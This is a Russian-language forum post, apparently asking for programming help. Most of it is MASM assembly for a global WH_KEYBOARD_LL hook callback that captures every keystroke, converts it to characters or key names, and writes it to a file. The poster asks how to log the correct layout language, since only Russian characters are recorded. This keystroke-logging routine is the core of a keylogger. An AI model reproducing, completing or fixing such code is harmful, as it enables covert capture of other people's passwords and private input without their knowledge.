Фильтром WH_KEYBOARD_LL отлавливаю нажатие клавиш. Отловленную информацию пропускаю через следующую функцию Код (Text): KeyBoardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD LOCAL keystate[256]:BYTE LOCAL charbuf[32]:BYTE lea edi,keystate mov ecx,64 xor eax,eax rep stosd mov eax,wParam cmp eax,WM_KEYUP je next_hook cmp eax, WM_SYSKEYUP je next_hook mov esi,lParam lodsd cmp al,VK_LSHIFT je next_hook cmp al,VK_RSHIFT je next_hook cmp al,VK_CAPITAL je next_hook cmp al,VK_ESCAPE je get_name_of_key cmp al,VK_BACK je get_name_of_key cmp al,VK_TAB je get_name_of_key lea edi,charbuf mov ecx,8 xor eax,eax rep stosd lea ebx,keystate push ebx call GetKeyboardState push VK_LSHIFT call GetKeyState xchg esi,eax push VK_RSHIFT call GetKeyState or eax,esi mov byte ptr [ebx + 16],al push VK_CAPITAL call GetKeyState mov byte ptr [ebx + 20],al mov esi,lParam lea edi,charbuf push 0 push edi push ebx lodsd xchg eax,edx lodsd push eax push edx call ToAscii test eax,eax jnz write_to_file get_name_of_key: mov esi,lParam lodsd lodsd shl eax,16 xchg eax,ecx lodsd shl eax,24 or ecx,eax push 32 lea edi,charbuf push edi push ecx call GetKeyNameText write_to_file: push 0 push offset num push 1 push edi push hfile call WriteFile next_hook: push lParam push wParam push nCode push hhook call CallNextHookEx ret KeyBoardProc endp Проблема в том, что в файл записываются только русские значения нажатых клавиш вне зависимости от того какой язык выбран в данный момент, английский или русский. Как правильно, определить какая клавиша была нажата, включая язык?